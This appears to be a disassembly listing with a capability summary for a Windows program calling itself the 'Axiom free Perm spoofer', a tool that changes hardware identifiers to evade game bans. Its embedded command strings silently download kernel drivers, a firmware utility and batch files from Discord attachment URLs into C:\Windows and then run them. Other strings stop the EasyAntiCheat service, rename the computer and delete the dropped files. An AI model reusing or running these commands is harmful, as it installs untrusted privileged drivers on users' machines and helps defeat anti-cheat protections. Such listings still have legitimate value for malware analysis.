Function at 0x140011285
Capabilities:
Delete file
Execute command
Set console window title
Terminate process

Disassembly:
jmp 0x140011950
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x1400240fd]
call fcn.14001138e
lea rcx, str.Axiom_free_perm
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, str.___Welcome_to_Axiom_free_Perm_spoofer_n_n
call fcn.1400111a9
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._1__Perm_Spoof_Device_n_2__Exit_n
call fcn.1400111a9
lea rcx, str.Please_Choose_your_Choice_:
call fcn.1400111a9
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 4]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 1
je 0x1400119fe
cmp dword [rbp + 0xd4], 2
je 0x140011b11
jmp 0x140011b29
lea rcx, [0x14001ad44]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233854053767712914_amifldrv64.sys_ex6673d262is667280e2hm2cd4aacc3db4a2d2c9f31f9f4a1c17536146334c7f639f2fbe0c83c4d14794ad__o_C:Windows_amifldrv64.sys___silent
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233853981449650297_AMIDEWINx64.EXE_ex6673d251is667280d1hm023a9e4796ad75f3e1d799331c81e2647880a06a3a4b9a444ecf80560e311501__o_C:WindowsAMIDEWINx64.EXE___silent
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233855729820237904_spoofer.sys_ex6673d3f1is66728271hmecd340ca9b1db94445873bd0659e6371e67e298369bc709e6e103fcd5e81bf31__o_C:Windows_spoof.bat___silent
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1066385084338426000_1066433398459076658_launcher.bat_ex6673d4bfis6672833fhm7211a10d7d05f5a7aec5710296a0277ed0b99692f16d6a5ec5a42a8e160409cd__o_C:Windowslauncher.bat___silent
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._n_n_____Click_Any_Key_To_Perm_Spoof_
call fcn.1400111a9
lea rcx, str.pause__nul
call qword [sym.imp.ucrtbased.dll_system]
mov edx, 0x12c
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str._n_n_____Cleaning_Hardware...
call fcn.1400111a9
lea rcx, str.sc_stop_EasyAntiCheat__nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.sc_stop_EasyAntiCheat.sys__nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._n_n_____Spoofing_Pc_Identifiers...
call fcn.1400111a9
lea rcx, str.C:Windowslauncher.bat__nul
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.wmic_computersystem_where_name_computername__call_rename_random_
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.C:Windows_spoof.bat
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.C:Windows_amifldrv64.sys
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:WindowsAMIDEWINx64.EXE
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:Windows_spoof.bat
call qword [sym.imp.ucrtbased.dll_remove]
mov edx, 0x1f4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str._n_n_n_____Done_Perm_Spoofing____n_n
call fcn.1400111a9
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [0x14001ad44]
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x140011b2d
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac80]
call fcn.14001132a
mov rax, rdi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret